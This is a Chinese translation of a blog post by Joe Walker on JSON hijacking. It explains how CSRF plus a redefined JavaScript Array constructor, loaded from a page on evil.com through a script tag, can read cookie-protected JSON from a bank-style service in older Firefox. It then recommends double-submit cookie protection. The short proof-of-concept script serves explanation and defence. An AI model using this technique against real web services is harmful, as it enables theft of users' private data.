JSON并没有人们想象中的那样安全

作者:Joe Walker
我最近看到过一些有关把JSON用于保密数据的讨论,而且我也不是很清楚有多少人了解其中的风险。

我个人认为JSON只能用于可公开的数据,其他数据都不能使用JSON,除非你使用的是无法预测的URL。

这里有两个问题。一个是CSRF(Cross Site Request Forgery,跨站点伪造请求攻击),它允许攻击者绕过基于cookie的身份认证,前些天我曾在Blog上介绍过这种攻击。另外,维基百科也说到了这个东西,你可以用CSRF在一个远程服务器上调用由cookie保护着的数据。“恶魔“先生可以利用这项技术把“无辜”女士的银行账号里的钱转到他的账户中。

还有一种则鲜为人知,那就是JSON/数组攻击,这可以让某个用户在Mozilla上偷取JSON数据,其实只要是任何使用当代的JavaScript解释器的平台都会都可以实施该攻击。

更新:不单单可以从Array偷数据,还可以从Object偷。

有很多种从一个服务器获得数据的方法,但这其中比较有趣的是XHR、iframe、脚本标签。如果不了解 JSON/数组 攻击,那很容易产生如下的结论:
XHR:浏览器跨域规则一开始就阻止了攻击者发出请求
iframe:攻击者可以嵌入一个指向一些远程服务器的iframe(在上面的例子中这个远程服务器就是银行的服务器),并用它来发送一些JSON,但是浏览器跨域规则阻止了来自攻击者所在域的脚本,这段脚本是用来读取响应的,因此这个JSON是安全的,因为它从来没有被eval过。
脚本标签:攻击者会嵌入一个指向远程服务器的脚本标签,而浏览器会把你的回复eval一把,然后浏览器会丢弃响应,这个JSON就是全部的相应,所以这是安全的。

这些参数的最后一个值得怀疑,JavaScript的动态特性将允许你重新对JSON赋值。
下面是它的工作原理,你可以用任何JavaScript控制台跟踪这段代码:
1. 重新定义Array构造器
function Array() { alert("hi"); }
2. 验证一下在创建数组时,这个构造器是否被调用
var a = [ 43 ];
3. 使用新功能修改这个数组
function Array() {
this[1] = 50;
}
var a = [40];
alert(a[0] + a[1]); //结果是90

所以我们能用一个script标签来调用保密的JSON数据,使用CSRF绕过cookie身份认证,然后用JSON/数组攻击在浏览器处理那个script标签时偷取JavaScript数据。

因此我们重新定义了Array构造器,实际情况下我们如何获得数据呢?下面的语法在当前版本的FireFox运行正常,虽然在我的知识范围内,这并不是JavaScript2标准的一部分,但是这段代码无法在IE/Safari/Opera下顺利运行。

在evil.com创建一个网页,用下面这段script标签:

<script type='text/javascript'>
function Array() {
var obj = this;
var ind = 0;
var getNext = function(x) {
obj[ind++] setter = getNext;
if (x) alert(Data stolen from array: " + x.toString());
};
this[ind++] setter = getNext;
}
</script>
<script type='text/javascript' src='http://bank.com/jsonservice'> </script>

出于演示目的,我已经重新定义了这个页面中的Array构造器,如果你在Firefox上,你将看到一个alert窗口。(译者注:演示示例请见原文)。

(如果你在blog聚集器中读取这个例子,上面的脚本会被过滤掉,所以它无法正常工作。你需要试一下这个页面。如果这段脚本没有被过滤掉,那我建议你马上更换一个新的聚合器,因为它有严重的安全问题。)

一句话:JSON在任何使用cookie来做身份认证的系统上都不安全。

有了DWR,虽然我们使用的是纯JavaScript它与JSON一样脆弱,但是DWR的CSRF保护能自动使用双重提交cookie模式来提供额外的保护。

我并不是提出这个问题的第一个人,Jeremiah Grossman在一年前用它黑了GMail。

你可能感兴趣的:(JavaScript,json,浏览器,DWR,脚本)